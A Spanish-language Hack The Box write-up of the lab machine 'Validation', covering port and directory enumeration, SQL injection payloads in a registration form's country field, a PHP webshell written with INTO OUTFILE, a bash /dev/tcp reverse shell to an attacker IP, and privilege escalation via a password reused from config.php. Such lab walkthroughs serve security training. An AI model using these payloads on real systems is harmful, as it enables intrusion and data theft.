> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/validation.md).

# Validation

<figure><img src="/files/kOgv4rdFNBAFodD5pF7l" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

Comenzamos la resolución de la máquina Validation realizando la enumeración rápida de los servicios que está ejecutando el objetivo.&#x20;

```
nmap -p- --open -Pn --min-rate 500 10.10.11.116
```

<figure><img src="/files/jeYrxinqtJTr5ypDpB3c" alt=""><figcaption></figcaption></figure>

Cuatro puertos abiertos: 22,80,4566 y 8080. El siguiente paso será la enumeración detallada de los servicios que hemos descubierto.

```
nmap -p22,80,4566,8080 -sVC -Pn -n 10.10.11.116
```

<figure><img src="/files/OR5JbqgnXLSy9QrtNUaL" alt=""><figcaption></figcaption></figure>

**VERSIONES**

* Puerto 22 -> SSH -> OpenSSH 8.2
* Puerto 80 -> HTTP -> Apache httpd 2.4.48
* Puerto 4566 -> HTTP -> nginx
* Puerto 8080 -> HTTP -> nginx

### Enumeración Web

El equipo objetivo está ejecutando un servidor Web en el puerto 80. Vamos a ver su contenido y a enumerar directorios y archivos interesantes.

<figure><img src="/files/GVi5xDtjNTwOyG19bxSz" alt=""><figcaption></figcaption></figure>

Vemos lo que parece un formulario de registro de usuarios por nacionalidad. Vamos a continuar con la enumeración de directorios.

```
dirsearch -u 10.10.11.116 -i 200,301,401
```

<figure><img src="/files/bcP1rWBvh3r8oEGvSSvp" alt=""><figcaption></figcaption></figure>

Vemos dos archivos que pueden ser interesantes, config.php y account.php. Veamos su contenido.

<figure><img src="/files/T1HVKfwjmJcIDYg2ToPi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ILGaVRcqwqKTxoqYUwx2" alt=""><figcaption></figcaption></figure>

Nada interesante. Continuaremos entonces buscando vectores vulnerables en el sitio Web.

## Explotación

Durante la enumeración del sitio Web encontramos que existe un formulario para registrar usuarios por países. Vamos a tratar de comprobar si presenta vulnerabilidades de SQLi. Registramos varios usuarios distintos.

<figure><img src="/files/rsTmiwHxqrXq8dPPdH2x" alt=""><figcaption></figcaption></figure>

Ahora capturamos la petición con BurpSuite para empezar a jugar con ella.

<figure><img src="/files/ribb4LIzErQNtXWAmCKD" alt=""><figcaption></figcaption></figure>

Vamos a tratar de generar un error de sintaxis para comprobar si el formulario es vulnerable a SQLi.

<figure><img src="/files/Puli0sHfemlJQDecpgnd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/v2UVIaOhicrjPsY3lYaU" alt=""><figcaption></figcaption></figure>

Como podemos comprobar el formulario es vulnerable a SQLi. Vamos a ver como podemos aprovechar esta vulnerabilidad.

```
username=securiters&country=Spain'or'1'='1
```

<figure><img src="/files/DpATdiE5h15jTgl0ftrc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3cNYQoup6aoGWgaVPOlq" alt=""><figcaption></figcaption></figure>

Podemos extraer toda la lista de usuarios registrados en la base de datos. También podemos ver que versión de base de datos se está ejecutando.

```
username=securiters&country=Spain'union select version()-- -
```

<figure><img src="/files/jkpydxjZWbOfnTv769EJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HymhEXIIFnpn2NS99Han" alt=""><figcaption></figcaption></figure>

Podemos listar las diferentes bases de datos.

```
username=securiters&country=Spain'union select schema_name from information_schema.schemata-- -
```

<figure><img src="/files/1TviG8SdT0BSxAjiJIDF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ORV7P8PAyH1MH646IaJ9" alt=""><figcaption></figcaption></figure>

Sabemos que es vulnerable a SQLi y vemos toda la información que podemos conseguir. Pero, y si aprovechamos la vulnerabilidad presente para tratar de crear un archivo malicioso en el sistema con el que podamos crear una webshell que nos permita ejecutar comandos.

```
username=securiters&country=Spain' union select '<?php SYSTEM($_REQUEST["cmd"]); ?>' INTO OUTFILE '/var/www/html/securitersshell.php'-- -
```

<figure><img src="/files/J4VVsA66uu7sv28KEUyX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UT7Ny129xcCPok1PsUtF" alt=""><figcaption></figcaption></figure>

Ya podemos ejecutar comandos en el sistema. Vamos a tratar de aprovechar esto para ejecutar una reverse shell entre el objetivo y nuestra máquina de ataque.

```
bash -c "bash -i >& /dev/tcp/10.10.16.5/1234 0>&1"
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.5%2F1234%200%3E%261%22
```

Por otro lado, configuramos un oyente nc en el puerto 1234

```
nc -lnvp 1234 
```

<figure><img src="/files/7vFgNKARf0b3QIfIJpnx" alt=""><figcaption></figcaption></figure>

Obtenemos acceso al sistema como www-data. Ahora, vamos a buscar la flag user.txt

```
find / -name user.txt 2>/dev/null
```

<figure><img src="/files/0SykkFjjsFYObCgdzRWf" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez tenemos acceso a sistema con bajos privilegios, el siguiente paso es buscar vectores que nos permitan la elevación de privilegios. Comenzamos enumerando que se puede ejecutar como www-data sin necesidad de contraseña.

<figure><img src="/files/GiWXFZbL4aaM7DQ3D045" alt=""><figcaption></figcaption></figure>

Parece que sudo no está instalado en el sistema. Continuamos enumerando los permisos SUID.

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="/files/hdblqCkvf98axQLJ2P51" alt=""><figcaption></figcaption></figure>

No existe ningún binario con permiso que nos permita elevar privilegios. Podemos hacer también una enumeración de capabilities.

```
getcap -r / 2>/dev/null
```

<figure><img src="/files/Ldh6cDQQulQnGvLW9HyJ" alt=""><figcaption></figcaption></figure>

Pero tampoco hay nada interesante. Veamos el directorio donde accedimos cuando ejecutamos la reverse shell.

<figure><img src="/files/mmBzRKV6aPcHrvyFoJeP" alt=""><figcaption></figcaption></figure>

Vemos el archivo config.php que encontrábamos en la enumeración inicial pero al que no podíamos acceder. Este archivo puede contener credenciales interesantes de otros usuarios de sistema.

<figure><img src="/files/3EcWKrGcknWiYcSnN9JX" alt=""><figcaption></figcaption></figure>

Vamos a comprobar si son credenciales válidas del sistema.

<figure><img src="/files/PBJUSuD4Xbf1xuNzmg4m" alt=""><figcaption></figcaption></figure>

Y el usuario no es válido pero la contraseña nos permite iniciar sesión en el sistema con privilegios máximos. Ahora a buscar la flag final.

<figure><img src="/files/wvSV0pffmbfHtUbFUYED" alt=""><figcaption></figcaption></figure>

Y ya tendríamos resuelta la máquina Validation de Hack The Box.
